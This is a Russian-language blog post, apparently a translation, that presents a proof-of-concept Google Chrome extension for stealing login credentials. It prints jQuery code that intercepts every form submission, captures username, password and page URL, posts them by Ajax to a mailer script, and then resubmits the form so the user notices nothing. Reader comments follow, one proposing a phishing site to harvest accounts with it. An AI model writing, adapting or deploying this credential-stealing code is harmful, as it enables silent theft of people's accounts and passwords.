Как научить Chrome воровать аккаунты.

В оригинале — Stealing login details with a Google Chrome extension
Браузер Google Chrome позволяет установку сторонних расширений, увеличивающих функциональность браузера. Расширения пишутся на JavaScript и HTML и, среди прочих особенностей, позволяют манипуляцию DOM.
Получив доступ к DOM, злоумышленники могут прочесть поля форм… включая логины и пароли. Это то, что вызвало мою идею создания PoC.
Расширение, которое я здесь представляю, очень простое. Всякий раз, когда пользователь отправляет заполненную форму, оно пытается перехватить логин и пароль, отправить их мне электронной почтой через вызов Ajax со сценарием с этими данными, включая url, и затем продолжает нормальную отправку формы, чтобы избежать обнаружения.
Эта простая процедура прошла успешно с Gmail, Facebook, Twitter и другими крупными веб-сайтами.
Код
Для этого расширения я использую jQuery как средство быстрого написания образца, но, очевидно, что код может быть переписан и без него.
Первое, что делает сценарий – это присоединение к обработчику submit каждого поля формы на странице:
$(«form»).submit(function(e) {
var $this = $(this);
e.preventDefault();
process(function() {
$this.unbind(‘submit’);
$this.submit();
});
});
Мы перехватываем обработчик submit, чтобы предупредить нормальное поведение формы (т.е. поведение по умолчанию) с помощью e.preventDefault и вызвать нашу функцию process:
var process = function(callback) {
var username = $(«input[type=text]«).not(passwordBoxes).filter(function() {
var field = $(this);
return field.val() || field.html();
}).val(),
password = passwordBoxes.val();
sendEmail(username, password, location.href, callback);
};
Функция process перехватывает значения полей имени пользователя и пароля, соответственно. passwordBoxes – это переменная, содержащая входные данные страницы, чей тип установлен как password:
var passwordBoxes = $(«input[type=password]«);
После захвата значений полей, содержащих данные имени пользователя и пароля, они отправляются вместе с текущим url и обратным вызовом формы в функцию sendEmail, которая отсылает письмо с именем пользователя, паролем и url через вызов Ajax:
var sendEmail = function(username, password, url, callback) {
var msg = getMessage(username, password, url);
$.ajax({
type: ‘POST’,
url: ‘the url of the mailer script’,
data: ‘the headers you want to send’,
success: callback
});
};
Функция getMessage просто возвращает отформатированную строку с данными, содержащимися в письме:
var getMessage = function(username, password, url) {
return «Username: » + username + » || Password: » + password + » || Url: » + url;
};
После того как данные отосланы, обратный вызов отправляет форму в нормальном виде.
.
Далее — код расширения
Popularity: 4%
Этот материал находится на сайте http://compiling.ru
Чушь это все. Изначально пользователь должен загрузить в браузер этот код, то есть получить его от сервера. И если вы, батенька, имеете доступ к серверу на уровне создания (изменения) файлов, то вы уже сделали почти все. Ну а если вы собираетесь подсаживать код на стороне клиента, что возможно скорее только в случае прямого доступа к удаленному или локальному компьютеру (бедные коллеги по работе :)), тогда карты в руки, но это уже другая история.
Делаем фишинговый сайт, пихаем туда этот скрипт, ждём посетителей на Chrom’e.
В Chrom заливается extension, ждём приход чужих акков.
Что сделано не так?
У коллег по работе и так всё можно вытащить без шума и пыли.
И лишних извращений.